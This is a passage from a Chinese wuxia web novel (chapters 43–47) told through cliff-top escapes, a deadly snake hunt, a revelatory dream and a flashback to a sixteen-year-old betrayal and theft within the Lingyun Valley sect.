一阵掌风袭来,阻挡了师太去路,师太也不傻,急闪躲过,换个方向,往那个没了武器的人攻去,没料到,那人还有两手准备,立马抽出了身后的长鞭,一鞭挥来,师太轻轻一闪躲过,说起鞭法,师太说第二,怕是没人敢说第一,所以,躲过这记长鞭自是不在话下,不止是躲过,师太更是顺着长鞭向那人急速伸缩去。那人见了竟没有一丝慌张,反而是向上丢了鞭,立马蹲下身去,此举看似荒谬,其实不然,只见左右两边拿长戟的人立马横着戟向师太击来,一个击腰部位置,一个击头部位置,蹲下的那人也没闲着,左右手各扔出一个飞镖来…… 此时,师太向左向右向上向下都躲闪不得,只能后退,但向后退去可就掉到河里去了,然而此情此景,已轮不到师太抉择了,除了下河,她没得选! 师太向后一退,落入河中,她没有丝毫犹豫,立刻施展白菱神功,向河对岸游去。 见师太被赶下了河,鬼俈冷冷一笑,好似已经胜券在握一般…… “冰魄阵”只见鬼俈挥出双掌,向河一拍,从鬼俈他们脚下起,到河左右两边五十米,再到河对岸处,瞬间结了冰,冰层不厚,但却足以封住师太了,眼下,师太被封在冰面上,进退不得,卡在中间。 “可恶,这魅影教到底什么来头。”师太万万没想到,她以为的冒牌“小派”会有这么强劲的功法。 “早就听说白菱神功天下无敌了,今日一见,也不过如此嘛。”鬼俈轻蔑道,一边说着,一边朝师太走来。 “你们到底是什么人,无冤无仇,何故害我。”此时,师太自知身危,无人能救,但她仍没放弃,想要拖延时间,好将内力汇聚于指尖,发力击碎冰层。 但鬼俈却并不想给她机会,看着师太,轻蔑道:“死人,不需要知道这么多!”话罢,鬼俈疾步走近,一掌拍去,直击师太:“冰魄卸魂掌” 师太大惊,万万没想到鬼俈这般狠毒,直接出杀招,看来今天是逃不掉了,安慰自己道:“怕什么,十六年前我就该死了,如今,晨儿安好,我还有什么不满足呢,霖妹,展哥,我这就来找你们!”话罢,她绝望的闭上双眼。 只听嗖嗖几声,十几枚飞针朝鬼俈他们击来,鬼俈见状只好停步,后退躲闪,飞针虽快,但魅影教都是高手,所以并没有人受伤,只见旁边突然多出个人来,那人拿着血滴子,气喘吁吁的,看样子,之前跑得很急,跑了很久,才刚到这儿。 “韦凌峰”师太看着那人,惊讶的说道,当下也不犹豫,继续汇聚起功力。 “你们十几个人欺负一个弱女子,算什么本事?”韦凌峰,一边平息气脉,一边嘲讽道。 “韦凌峰,哼,鼠辈耳,三长老,你们去把他解决了。”显然鬼俈并没将韦凌峰放在眼里,转过身再次看向师太。 韦凌峰见状,深呼吸一下,快步上前欲杀鬼俈,鬼俈身旁黑衣人尽数上前挡住,与韦凌峰打了起来。 鬼俈看着师太,也不多话,快步走来挥掌直取师太。 三米两米~ 只听咔嚓几声,冰面从师太位置起,向四周裂开,鬼俈在冰面上没站稳,打了个踉跄,退回岸上,而师太则是破冰而出直接跑得对岸。韦凌峰见状大喜,猛挥血滴子,全数弹出暗针,撕开个口子,也跳到了对岸。 “跟我来。”韦凌峰在前面开路,师太紧跟其后。 “快追!千万别让他们跑了!”鬼俈对手下喊道。 十三人全速追着,但他们的速度跟韦凌峰和师太的速度还是有差距的,先前若不是靠埋伏,哪儿那么容易堵上青菱师太。 第四十三章 山万蛇 “你快看那儿。”慕容洵指着不远处说道。 于婉顺着慕容洵指的方向看去,发现一个鸟窝,两只小鸟在里面唧唧喳喳的叫着:“那不是小鸟吗,我们要找到是麋蛇啊。” “婉儿,你有所不知,这麋蛇最爱吃的就是古榕鸟呢,那两只就是古榕幼鸟,不止如此,我看,这里还有很多古榕鸟,麋蛇的洞穴一定也在这附近。”慕容洵说道。 “洵姐真厉害,那我们开始找吧。” “哎,找什么呀,我们等它自己送上门来。”慕容洵看着于婉笑道。 慕容洵随手抓住两只古榕鸟,在小鸟脚上套上细绳,绑在地上,等待麋蛇上钩。 方法比较古老,但效果还行,等了两个时辰,中途赶走无数捕食者,总算是等来条小麋蛇。 “麋蛇到手,我们快回去吧。”慕容洵抓着麋蛇说道。 “好。” 两人一转身,却发现灌木丛中,竟窜出一条长达五米多的山万蛇来,这条蛇横在路中间,吐着长长的蛇信子,直直的看着她们两,将她们的去路封得死死的。 “洵姐,怎么办啊。”于婉拉着慕容洵问道,这么大一条蛇着实把于婉吓了一跳。 慕容洵看了看四周,只有这一条路回去近些,其他的路都很远、很绕。“爹说了,我们必须得在三天之内,将麋蛇带回去,否则,那位公子就会有性命之忧,现在已经过了一天半了,得想个办法杀了这条山万蛇,快些赶回去才是,正好这蛇药用价值也高,说不定还能帮助爹医治那位公子。” 于婉看着蛇浑身哆嗦:“这么大条蛇,怎么杀啊。” 慕容洵想了想说道:“我有办法,等会儿你用飞镖吸引它注意力,我乘机冲上去拔剑砍掉它的头。” “这么简单吗?不用布置陷阱什么的吗?” “时间紧迫,管不了那么多了,爹还等着我们的麋蛇胆呢!” 于婉想想也是,如今哪儿还有时间慢慢布置陷阱,于是,她取出了飞镖,攥在手上。 两人慢慢走近山万蛇,那蛇高举蛇头,吐着信子,警告两人别再靠近。 待距离差不多了,于婉丢出飞镖击向那蛇,直接将蛇的腹部给刺穿了,接着,又是一个飞镖飞去,射在蛇的身子中间,将蛇固定在地上。 剧烈的疼痛使得蛇在地上胡乱的摆动着,飞镖完全固定不住巨蛇,两三下便挣脱开了,向后退去。慕容洵果断出击,冲上前,干净利落,一剑砍断巨蛇的头,蛇头飞出四米远,落在于婉这边。 于婉慌忙后退两步,看到蛇已死,总算是结束了,深呼吸一下,平静下来。 哪知,蛇并没死透,蛇头竟然凭空弹起,直接朝于婉肩膀处咬了一口,于婉大惊,当场便晕倒了。 “婉儿”慕容洵见状也是大惊,再一剑劈去,将蛇头彻底劈成两半,这下该是死透了。 “婉儿,你怎么样了啊,别吓唬我啊。” 慕容洵立马背起于婉,将麋蛇放入布袋中,急施轻功,向家里飞去。 四个时辰后,慕容洵全程轻功疾跑,没有停下分毫,终于到了家。 “爹,不好了,你快来看看。”慕容洵将于婉放在自己闺房床上立马去找慕容钧求救。 “发生什么事儿了,这么紧急。”慕容钧跟着慕容洵走进去,看到于婉躺在床上,追问道:“她被麋蛇咬了?快拿静心丸啊!” 慕容洵摇摇头:“不是麋蛇,是山万蛇!”慕容洵哽咽着说道。 “山万蛇?”慕容钧大惊,脸色更加凝重,摇了摇头,接着说道:“洵儿,你应该清楚山万蛇的毒性,这世间,绝无解药可救。” “不可能,我不信,爷爷当年不就被山万蛇咬过吗?他不就没事儿吗?”慕容洵哭道,她虽然这样说着,但她心里也清楚,她爷爷的能耐,岂能与常人一概而论。 “你应该清楚,你爷爷为什么能活,这位姑娘只是个普通人,能撑到现在已经是奇迹了!”慕容钧虽然这样说着,但还是替于婉把了脉,看了看她的舌苔。 眼下,于婉嘴唇发紫,舌头发黑,冷汗直冒。 “蛇毒已遍及她全身血脉,没得救了。”慕容钧摇头叹息,满脸的无可奈何。话罢站起身来,拿起装麋蛇的袋子走了出去:“哎,到头来,也只是一命换一命耳,哎~” 慕容洵早料到是这个结果,但真到面对事实时,泪水一下就绷不住了,靠在于婉床边,放声痛哭着。 …… 益州、凌云谷: 苏起、于吉两人御剑带着孤殇回到凌云谷。 书房中,谷月清正与于吉小声交谈着: 谷月清:“于吉,你不该如此啊!为什么要这样!” 于吉摇摇头:“哎,都是我的错,都是我的错!师兄,是我鬼迷心窍了,我怎么会干出如此荒唐的事来!我该死啊!”于吉一边说着,竟拔出剑来,欲举剑自刎。 谷月清急忙拦住:“事已至此,就别再自责了,十六年前,到底发生了什么!你今天,必须给我说清楚! 豫州边境: 韦凌峰在和燕雀交流过后,突然停下了脚步:“不好,他们在出口处也埋伏了大量人马!” “什么?!”师太环顾四周,指了指旁边林子:“穿过这片树林有路吗?” 韦凌峰沮丧的摇了摇头:“是个悬崖。” “悬崖?”师太笑了笑,向那片树林穿去,韦凌峰有些疑惑,但也赶紧跟上。 第四十四章 向死而生 师太和韦凌峰来到了悬崖边,师太看着韦凌峰,说道:“韦凌峰,你不该冒险来救我的。” 韦凌峰笑了笑:“鸟雀朋友们都曾阻止我前来,但我的身体却不受控制,一个劲儿的往前冲。万幸,没有晚到。” 师太微微一笑,看了看悬崖,回头对韦凌峰说道:“握紧我的手。” “啊?”师太突然这样一说,让韦凌峰十分诧异,以为是自己听错了。 “别误会,我自有妙计,你听我的便是。” 如此好事,韦凌峰自不迟疑,轻轻握住师太左手。 师太呵斥道:“握紧些,出事儿了可别找我。” 听了这话,韦凌峰也就不装矜持了,还以为是之前冒死救了师太一命,让师太对他有了些许好感了,哪知,这一切,不过是师太在为下一步疯狂的行动做准备罢了。 两人握紧后,师太开始了她疯狂的下一步——径直跳下悬崖! 韦凌峰整个人都懵了?满脸问号,这就是师太口口声声说的妙计?跳崖自尽?这算个屁的妙计啊,但很快韦凌峰就释然了,事已至此,他们已无路可退,跳崖自尽或许是最好的决定,能在死前,牵起师太的手,对他来说,值了。 韦凌峰轻声说道:“能和你死在一起,此生足矣。” “死?死什么死?要死也不会死在这个鬼地方。”师太一脸无语。 “啊~”韦凌峰刚从懵逼中缓过神来,现在又懵逼了。 只见两人飞速下降,离崖底越来越近,师太急施白菱神功,身体变得异常扁平,开始向前飘动,本来是垂直落下的,现在变成向斜下方飘摇掉落,师太再施神功,抓住一棵树的顶端,借助那棵树来磨合下落的速度,但师太他们下落的速度实在太快了,那颗树直接被掰断了,师太见状也不惊慌,神功再施,又抓另一棵树的树腰缓和速度…… 几经缓冲,两人竟安全落下! 再看两人,师太满脸淡然,一副若无其事的样子,而身旁韦凌峰,瞳孔放大,嘴角下歪一脸惊魂未定的样子。 “没事儿吧。”师太看着韦凌峰笑道。 韦凌峰楞了两秒,平复了表情:“没,没事儿。” “那走吧,我还需要你的鸟朋友帮忙打听打听,这是什么地方呢。” 韦凌峰仍是心有余悸,小声回道:“好、好。” 黄骷岛: 慕容洵低着头,止不住的哭泣着,哭声比起之前,小了很多,倒不是此刻的悲伤缓解了些,而是,长久的哭泣,嗓子都沙了,想大声哭,可嗓子不允许啊。 病榻上,于婉的心脏,任在微弱的跳动着,没错,她还活着,不仅如此,她甚至还做了个梦: “晨儿,被闹了,赶紧过来吃饭,一会儿你爹回来了,又该骂你了。” “娘,你不是说,爹爹今天不回来吗?” “娘,我要抱抱。”梦境中,一个小女孩儿飞奔着跑向一个女子,朝她撒娇,女子抱起小孩儿,笑了笑,十分温柔,且美丽大方,于婉自语道:“真美,若是我娘就好了。” 哪料到,此话一出,梦中的女子竟回话道:“我本来就是你娘啊,傻孩子,快吃饭,菜都要凉了。” 于婉这才反应过来,原来自己就是那个小女孩儿,梦境极其真实,仿佛真实发生过一般。 女子道:“来让娘亲一个。” 于婉毫不怕生,条件反射一般,直接将脸凑了过去。 “记住,以后除了娘,只许未来的相公亲你,知道吗?” “爹也不行吗?” “晨儿,你已经长大了,当然不行!” …… 梦中的于婉,不禁自思起来:“这个梦,只是我的幻想吗?还是说,眼前这个人,真的是我娘,她为什么要叫我晨儿?” 正思虑间,一女侠提着一坛酒登门。 那女侠,一身红裙,朱纱遮面,飒气逼人:“霖儿,快看,我给你带了什么好东西!”女侠一边说着,一边将那坛酒放在桌上。 “女儿红?我都多久没喝过女儿红了,快打开!快打开!” “好咧”女侠一边说着,一边揭开瓶盖来。 于婉鬼使神差朝那女侠吐出一句话来:“菱姨,我的礼物呢!” 女侠笑了笑,摸摸小女孩儿的头发:“晨儿这么乖,当然也有礼物,给,拿去!”女侠从衣袖中摸出一个草制飞鸽,递给小女孩儿。 “晨儿,你出去玩会儿吧,别走远了,我和你菱姨好久没见了,让我们单独聊会儿。” “不嘛不嘛,我也要陪菱姨玩。” 那女侠大笑起来:“好,菱姨今天陪你玩个痛快。” 两人倒满酒,女侠取下朱红面纱,小心翼翼放好,准备喝个痛快,面纱之下,藏着一张绝美容颜,等等,这张脸,于婉好像在哪儿见过!这位女侠,确定不是青菱师太吗? 于婉大脑飞速运转,无数碎片记忆涌入脑中,那一刻,她看到了许多故事,或者说,她想起了许多往事…… 司寇晨,这是于婉本来的名字,父亲:青翼派龙王司寇箫,母亲,青翼派五散人之一:麒雨希霖,那位菱姨也是五散人之一,朱姬杜菱,此外三位散人分别为:青客张吉、白侠展平、玄甲王延,青翼派乃是青州大帮,派众皆是路见不平拔刀相助的好汉,在江湖上颇受好评,司寇晨童年在几位叔叔姨娘的呵护下,从未受过半点儿苦,她本以为,自己会幸福度过一生,但,事与愿违: 八岁时,母亲突然一病不起,两天后,父亲亦不见踪影,母亲病情急速恶化,没过几天,便昏死过去,直到母亲病亡,父亲都没再露过面,仿佛人间蒸发一般,与他一起蒸发的,还有其他四位散人。几周后,官府突然找上门,二话不说将司寇府封禁,青翼派众全数下狱,司寇晨亦被压入死牢…… 第四十五章 十六年前的因 凌云谷: 于吉扑通一声跪在地上。 谷月清:“你说你这又是何苦?” “师兄,你杀了我吧!我罪孽深重,实在该死!” …… 十六年前,叶述归隐前夕: 叶述 招唤于吉、谷月清到密室之中,考验二人。谷月清者,乃是前凌云谷弟子顾云的亲传弟子,于吉则是叶述的亲传弟子,按照凌云谷规矩,谁的功法高深,谁便是下一任谷主,此时,谷月清、于吉都在御境二阶,半步御境三阶,而孤殇与胡啸都不如两人,所以谷主之位,在于吉与谷月清之间择选。 叶述抉择了很久,实在难下决断,索性让两人切磋一番,两人修习功法皆是《云霄九剑》,且同到第八层,当下斗了百余合,任是胜负难分,正焦灼时,谷月清失误了,一道剑气往旁边落石击去,而于吉的剑气却不偏不倚正中谷月清,于吉本以为,自己应该稳坐谷主之位了,哪知,几天之后,叶述却当众宣布,将谷主之位,传给谷月清。 原来,那日比试,谷月清并非失误,两人打斗了百余回合,都已疲敝不堪,于吉全神贯注着谷月清招式,剑气飞出,全力击向谷月清,却没有观察到头顶上方,有一块巨石落下,谷月清在谷主之位与师弟性命中选择了后者,这一切,叶述都看在眼里,最终,他选择了谷月清继位。 然而,心高气盛的于吉并不相信师傅说辞,固执的认为,是师傅偏心,打心底瞧不起自己的身份——奴隶之子,而谷月清的身份,则是落难公子哥。 这里就得再插播一点往事了,十六年前再往前推四十年,那时,顾云26岁,叶述24岁,谷月清10岁,而于吉,只有7岁。当时,谷月清随父亲旅行至晋州被山匪打劫沦为奴隶,在山匪营寨中,谷月清结识了同为奴隶的于吉,但不同的是,于吉是奴隶所生,所以,已经为奴七年了,他还有个妹妹,前不久刚饿死。两人志趣相投,很快成为好友,在山匪营寨中,相互照应,关系非常好。两个月后,顾云、叶述摸入寨中,将山匪一网打尽,两人因天资聪颖,被顾云、叶述收为徒弟。 前话暂不论,且说后话。 谷月清当上掌门后,于吉十分不服,下山喝酒时,听见江湖人士闲谈。 路人甲:“听说凌云谷叶述归隐了!真的假的?” 酒客乙:“听风阁的消息,还能有假!老了,是该退位了。” 剑客丙:“那他们有没有说下一任谷主是谁?” 酒客乙:“还能是谁?谷月清啊,他可是凌云谷的大弟子,论辈分,理应如此。” 路人甲:“凌云谷历来选举掌门,只看修为,可从不看辈分,不知道别乱说!” 酒客乙:“那就说明,谷月清的功夫最高呗!” 剑客丙:“我怎么听说,那于吉的功法并不在谷月清之下啊,为何不选他?” 一糟老头儿:“于吉哪能和谷月清比!谷月清出生名门望族,这于吉,听说,好像是奴隶之后,就算功法高出谷月清千万倍,也轮不到他!” 剑客丙:“还有这事儿?” 老头儿:“当然。” 剑客丙:“那没事儿呢,奴隶之子确实不配!来,咱们今天喝个痛快,不醉不归!” 只听酒坛子猛然落地之声,一中年人提剑走出酒店,正是气愤不已的于吉,受此一激,于吉心中更是不平,一个可怕的计划在脑海中衍生…… 十六年前,谷月清继位谷主一个月后,青州司府: 夜色早将青州笼罩,已是子时,但司府却仍有些许火光,大厅主位上,正坐着一个青年人,约有四十岁,身着华贵商服,看起来像个富甲一方的商人,但事实上,他正是大名鼎鼎的江湖侠盗司寇箫,此刻,他微闭着眼,似乎在等着某位迟来的宾客。 一阵急风袭过大厅,司寇箫猛然醒来,一脸怒色:“无耻恶贼,终于来了!” 接着,一位身着道袍的中年人步履稳健的走了进来。这位中年人四十多岁,一袭黑色素袍,温婉尔雅,沉稳端庄,正是于吉。 …… 几天前,于吉偷偷潜入司府,暗中下药毒倒司寇萧夫人,接着,他以解药要挟司寇箫潜入凌云谷替其盗宝,把柄在手,司寇箫不敢不从,只得应下。 于此同时,于吉暗中在豫州散布《凌空剑法》重出江湖的假消息,此时胡啸长老正好在豫州,但他不敢轻易确认,遂写信叫来孤殇长老。此时,谷月清正在闭关,苏起、枯恂年幼,于吉又佯装醉酒,使得凌云密阁无人防守,司寇箫差青客、玄甲一起进谷取宝,朱姬、白侠则再外围接应。应于吉所嘱,《太平经》、《太平清领书》、黑铁宝盒,三样物件皆被盗出,清晨,于吉“酒醒”,赶到约定地点与司寇箫三人碰面,然而,于吉根本没打算交换解药,使出杀招欲杀掉三人灭口,一番打斗后,三人落败而逃,路上,青客、玄甲因伤势过重,没过多久便死在路边,于吉顺着血迹追了许久,在一处破庙外数里处,发现司寇箫尸体,还有数十具官兵尸体,血泊之中,于吉发现一本《太平经》。 于吉久追无果,折回凌云谷去,此时孤殇、胡啸也已返回谷中,三人正聚在一起商议着: 孤殇:“看来,我们这是中了奸人的掉虎离山之计啊。” 谷月清道:“我检查过苏儿背上的掌伤,乃是毒龙掌法。” 胡啸道:“佘漫浮?他不是早死在寒岩阁主王绾手上了吗?” 孤殇道:“我听说,他有个弟子叫张吉的,也已习得五分掌功。” 胡啸道:“青客张及?青翼派?” 谷月清:“此事与青翼派绝脱不了干系,凌云密阁乃是苍玄大师用泰山玄铁所建,坚硬非凡,外力绝不能破,所配钥匙只有一把,我一直随身携带。除了北冥神匙外,想来,绝无其他方法。” 孤殇:“青翼派乃是青州大帮,江湖素有侠名,风评极佳,不该行此苟且之事吧。” 这时,于吉走进:“确实是青翼派所为,张及、王延、司寇箫三人被我追上后,与我大打出手,张及和王延非我敌手,死在我拂尘之下,只是,让那司寇箫带着宝物跑走了,不过他受了重伤,料跑不远。再追上时,却发现他不知何因,死在官兵手中,宝物不知所踪。”于吉将事情的经过大概说了出来,当然,关键的部分没说。 孤殇:“我们在回来的路上也看见了司寇箫和一些官兵的尸体,司寇箫真气散尽,身上满是刀伤,官兵尸体上则满是爪痕,看样子,他们之间恶斗过一场。极有可能,是官兵杀死了司寇箫,取走了宝物。” 胡啸道:“不对呀,青翼派有五位散人,这么大的事,朱姬、白侠还有麒雨他们三人没理由不在啊。” 孤殇道:“没什么奇怪的,想必那三人是接头的,事出突然,他们可能没料到会被于师弟追上,也没料到中途会杀出朝廷的人。” 谷月清:“现今之计,当立刻查明失物下落,孤殇,你去追查朝廷那边的消息,于吉,你去追查青翼派的消息,切记不可鲁莽行事。此事事关重大,魔教妖物,亦在其中,北冥神匙若是能打开,被有心之人取出妖法修炼,他日,必将是武林中一大浩劫!” 那个黑色铁盒中存放的正是当年撼动武林,魔头无冥的成名绝技《万幻影诀》!另外,盒中还藏着一个小葫芦,据说是魔头无冥的绝世法宝,不过法效为何,无人知晓。 第四十六章 另一个身份 黄骷岛: 于婉仍在睡梦中追忆着往事: 被官兵捕入大牢后,只关了一天,司寇晨(即于婉)便被官兵带走,单独押往司隶,阉党以为是青翼派救走了陈逸父子,所以想从她那儿撬出消息,本次押送,除了明面上的官兵保护外,暗处,还安排了一队江湖人马——赤影帮。 大批官兵押送司寇晨,大牢防卫自然空虚,夜里,白侠展平与朱姬杜菱潜入大牢将青翼派教众悉数救出,接着,人马集结,乔装出城,欲救出司寇晨。 豫州边界、某处崖顶: 鬼俈等人寻着踪迹来到崖边。 三长老满脸不解:“脚印消失在悬崖边,莫非真跳下去了?” 鬼俈向下看了看,深不见底,摇了摇头,丝毫不相信他们会真的跳下去。接着,他笑了笑:“如今青菱师太失踪,豫蛇教群龙无首,不如趁机灭了豫蛇教。” 三长老:“何必多此一举,如今,青菱师太和赤影帮的韦凌峰一起消失,我们正好可以借此生事,使豫蛇教和赤影帮两派互相猜忌,互相攻伐,岂不美哉。” “玄木堂分两队,一队埋伏在出口,一队埋伏在入口。” “白波堂随我仔细搜查这片林子,绝不可放过任何一个角落!” “三长老,你带些人,看看能不能找到通往崖底的路。” 山崖之下,韦凌峰正用鸟语和鸟朋友们交流着。 “如何?出得去吗?”师太在一旁急切的问道,此时师太困于崖下,豫蛇教众弟子群龙无首,若再遇到刚才的魅影教,后果不堪设想。 “打听清楚了,这崖底被群山包围着,只有一条地下河与外界相通,要想出去,只能潜进那条河,不过,那河十分长,要想安全通过,只能等它退潮后,水浅时通过。” 师太点点头,再问道:“那它什么时候才会退潮?” 韦凌峰尴尬的笑了笑:“正常来说,一年会退个十几次,大概一个月一次吧。” “一个月?不行不行,我弟子还在外面呢,我得马上出去才行。”师太焦急的说道。 “你别急啊,眼下只有这一条路能出去,你着急也没用啊,只能看运气了,或者,你从这爬上去也行啊。”韦凌峰指着悬崖说道。 “正有此意,明天在爬,现在他们估计还在外面埋伏着呢。”师太一脸认真。 韦凌峰听了满脸震惊,瞳孔大张。 看到韦凌峰惊奇的表情,师太冷言道:“不然你以为,十六年前我是怎么活着出来的?” 韦凌峰尴尬不已,转移话题道:“我刚才看了看,这附近有许多水果,你饿了没,我去给你摘些来吧。” 师太点点头,盘地坐下,打坐休息。 青菱师太者,正是十六年前青翼派五散人之一:朱姬杜菱。 十六年前,杜菱与展平带着青翼派众追了三天三夜,终于在一处峡谷拦住官兵: 押送司寇晨的官兵行至一峡谷处,突然传来一阵轰隆声响,四下一看,两边无数落石朝官兵滚来。官兵乱作一团,这时,一群黑衣人从四周冒出,与官兵打斗起来,其中两人轻功非凡,越过官兵,直奔司寇晨关押处。两刀下去,木门便被劈开了。 为首官兵大喊道:“拦住他们。” 一群官兵杀散“劫匪”,朝司寇晨处围来。 展平对杜菱说道:“你带小姐先走,我拖住他们。” “好。”杜菱点点头,带着司寇晨离开了,展平则带残余的教众与官兵们缠斗起来。 路上,司寇晨问道:“菱姨,我爹呢?他为什么不来救我。” “你爹,他,他有事耽误了。”朱姬哽咽道,安慰着司寇晨,并没让她知道司寇箫已死的事。 朱姬与司寇晨没走多远,行至一村,便听见四周都传来阵阵马蹄声,见况不妙,朱姬将司寇晨藏在村里一间不起眼的房屋里,自己出去引敌。 果然,整个村子都被人围了起来。这些人不像官兵,倒像些土匪。 “你们既然不是官兵,为何苦苦相逼我们青翼派?” “我并不想逼你们,只要你们交出陈逸,我可以饶你们小姐一命。”说话的正是赤影帮二把手——韦凌峰。 “陈逸!?我想你们搞错了。我们并不认识什么陈逸。”杜菱并没装傻,她是真的不知道什么陈逸。 “哼,嘴硬,把她给我抓起来!”韦凌峰朝手下发令道。刹那间,赤影帮众人拍马奔向杜菱。 杜菱刷刷两鞭,将一马脚绊住,往后一拉,马失前蹄,人马皆倒。后面的马匪立马补上,端枪直取杜菱,杜菱丝毫不慌,右手一挥将鞭收回,同时,左手也往兜里一掏,取出三柄飞刀,往前一扔,三名马匪中刀倒地。接着,她向旁一跳,跃到旁边屋顶上,回首对赤影帮众人说道:“想要知道陈逸的消息,就随我来。”话罢,杜菱使轻功离去。 “二哥,怎么办?”赤影帮三把手屠岸冥。 “调虎离山之计耳,我去会会她,你们留下来,包住这个村子,挖地三尺也要把司寇晨给我找出来。”韦凌峰冷笑着,朝杜菱追去。 杜菱自以为轻功高深,完全不把追来的赤影帮放在眼里,她只想着赶快甩掉追兵,再绕回去带走小姐。哪知追来的不是别人,乃是江湖人称“飞燕”的韦凌峰。 当下,韦凌峰与杜菱的距离越来越近,杜菱大惊,拿出飞刀直取韦凌峰。 韦凌峰丝毫不慌,轻轻一偏头便巧妙的躲开了飞刀。杜菱见距离越来越近,索性拿出鞭子,与韦凌峰打一场。说来也巧,韦凌峰使用的也是中长距离的武器——血滴子。 显然,光论武器的话,韦凌峰更胜一筹,但杜菱现已无退路,只能放手一搏,一鞭过去,直指韦凌峰头部,韦凌峰向左急闪,巧秒躲过,杜菱丝毫不给对手喘息的机会,又朝左挥了一鞭。眼看躲闪不过,韦凌峰也挥出血滴子,与杜菱的鞭身搅在一起。 正焦灼时,韦凌峰突然向上挥了挥血滴子,血滴子中竟弹出暗针来,杜菱大惊,只听嗖的一声,杜菱左手捂着右臂,似乎,毒针射中了杜菱右臂,同时黑色面罩从脸上脱落,但并未露出真容,只见黑色面罩之下还遮了张朱红薄纱。 韦凌峰大笑起来。“裹得真严实啊,你右臂中了我的毒针,剧痛无比吧,不出半个时辰,剧毒便会蔓延至全身,直至完全失去知觉。” 第四十七章 绝世佳人 韦凌峰暗器伤人,自以为稳胜,哪成想,这朱姬杜菱,并非等闲之辈。 说时迟,那时快,只见杜菱不知何时从兜中掏出了两柄飞刀,趁其不备,用右手猛然挥出,韦凌峰大惊失色,往右急闪,只躲过一柄,左腿被另一柄飞刀射中。 杜菱见状也不纠缠,快步逃离。 原来,刚才毒针射中的,乃是杜菱左臂,她只不过是将计就计,佯装右臂中针,硬撑着用受伤的左臂捂着右臂,营造一种右臂中针的假象,使得韦凌峰放松对其右手的防备,接着再小心翼翼用右手掏出飞刀,趁其不备,直挥过去,韦凌峰轻功虽高,但却输给了自己的大意。 与此同时,赤影帮将小村团团围住,最终还是将小女孩找了出来,而原押送司寇晨的官兵们也杀散了青翼派朝这边汇合了,而白侠展平为了拖延时间,与官兵拼死血战,终因寡不敌众,败倒在官兵刀下。 “小姑娘,你可让我们好找啊。带走。”说话的正是赤影帮三把手——屠岸冥。 “三哥,这就走吗?不等二哥?”一赤影帮弟子问道。 “当务之急是押送这小姑娘去洛阳,大哥还等着呢,二哥轻功了得,会追上的。出发!” 接着,官兵与赤影帮汇合,押着司寇晨往洛阳去了。 此时的杜菱毒性发作,神情越发迷离,已然疲倦难行了,只听脚步声起,愈来愈近,这荒郊野岭,想来正是韦凌峰追来了。更绝望的是,杜菱因神态不清,走错了路,竟走到一处悬崖边。再一回头,韦凌峰已追至身后。 杜菱有气无力的说道:“你们赤影帮与阉党同谋,与玩火自焚无异。” “什么阉党,我们是替朝廷卖命!陈蕃大逆不道,行谋反逆举,我等作为汉民,人人得而诛之!前面是悬崖,你已无处可逃,说出陈逸下落,我便饶你不死。”韦凌峰一副正义凛然、豪情万丈的神情。 杜菱看了眼深不可测的悬崖,回头道:“说得这番大义凛然,却倒行逆施,行禽兽之事!”接着,仰天呐喊:“展平,你一定要好好活下去,千万要救出小姐!千万!千万!”话罢,杜菱纵身一跃,跳下崖去! 韦凌峰大惊,疾步上前,欲拉住杜菱,但到崖边时,为时已晚,寒风吹掉杜菱那朱红薄纱,露出一张美得无可挑剔的面容,皎皎兮似轻云之蔽月,飘飘兮若回风之流雪,当是千秋无绝色,悦目即佳人。倾国倾城之词,亦不足形容其万分之一的容颜! 大概是迷药发作的原因,杜菱脸颊红晕,双眸失神,更显出几分魅力,迷离中却似乎一直盯着韦凌峰。 最终,杜菱消失在山间浓密中,韦凌峰竟然盯着崖下失了神,喃喃道:“江湖盛传,朱姬杜菱,国色倾城,赛过天仙,当是百闻不如一见啊,只可惜,选错了路,憾哉!憾哉!”韦凌峰看着杜菱遗落的面纱:“倒行逆施?倒行逆施?大哥的命令绝错不了。”话罢,消失在密林中。 另一边: 官兵与赤影帮押着司寇晨行至一小城,随便进了个客栈,吃点儿东西,酒足饭饱正要离去,这时,一戴着草制斗笠的老翁提着一壶老酒进了客栈,老酒的香气四下飘散,很快吸引住了赤影帮的屠岸冥,这屠岸冥除了好色以外,还爱喝点儿小酒。 只见那老人家找了个空位,唤来小二,点了几个小菜,喝起小酒来。取下斗笠一看,正是凌云谷的三长老——于吉。于吉伪装成一个醉酒老翁,想来是为了打探失落的宝物。 “老头儿,你这酒哪儿买的啊,怎么这么香?”屠岸冥问道。 “哈哈,这酒你可买不到,乃是我朋友私家自酿的。” “哦!可否给在下尝尝。”屠岸冥一下来了兴趣。小步来到老翁桌前,眼巴巴的看着。 “当然。”于吉示意他坐下后,拿过酒婉,给他倒了些许。 屠岸冥端起美酒,凑到鼻前轻轻闻了闻,香的一匹!小酌两口后,屠岸冥双眼发亮,像是品尝了人间美味一般。“好酒啊,光闻一闻就不得了了,这一喝更是让人神清气爽啊!” “哈哈,那是当然,我这朋友可是酿酒的好把手啊。阁下若想喝个痛快,可以去青州找他。” “青州?我刚从青州过来,可没喝过这等好酒啊。” 青州过来的?!难不成押送的人与司寇箫有关?“这小姑娘长得这么乖巧,也干起杀人的勾当了?”于吉一边喝酒,一边套话道。 屠岸冥审视了一下于吉,慢慢说道:“老人家,这小姑娘虽没杀人,但却是杀人犯的女儿,可不是什么善类!”屠岸冥想喝于吉的老酒,所以语气很是客气。 “年纪轻轻的,真是可怜啊。”于吉看着囚车里的司寇晨,司寇晨也木木的看着他。 于吉悄悄将酒壶塞子与口袋中有麻药的塞子互换,盖在酒壶上。 “老人家,这酒是你朋友酿的,你应该喝过很多次了,要不,把这酒卖给我吧。” “哈哈,相识即是缘,阁下既然真心喜欢,我赠与阁下便是。”话罢,将酒葫芦送给了屠岸冥。 屠岸冥大喜,于吉接着说道:“这酒啊,喝前得多摇几下,这样酒会更加香醇可口!还有,路上切莫贪杯,这酒啊,后劲儿大,容易醉!” “多谢老人家提醒!”屠岸冥接下酒壶,系在腰间招呼着赤影帮弟子启程。 很快,夜幕降临,官兵与赤影帮们找了个破庙,在庙中小坐休息,屠岸冥则拿出了老酒摇了摇,小酌起来:“好酒啊,好酒。”才喝了不到三口,便晕倒了。 “三哥,三哥!”喊了几声没醒,赤影帮兄弟们还以为他是喝醉了,也没放在心上。 半夜时分,于吉一黑衣,悄无声息的打倒望风的官兵后,朝破庙内吹去迷烟,片刻后,里面警戒的人也都晕倒了。于吉在屠岸冥身上找到一把钥匙,将司寇晨救出。 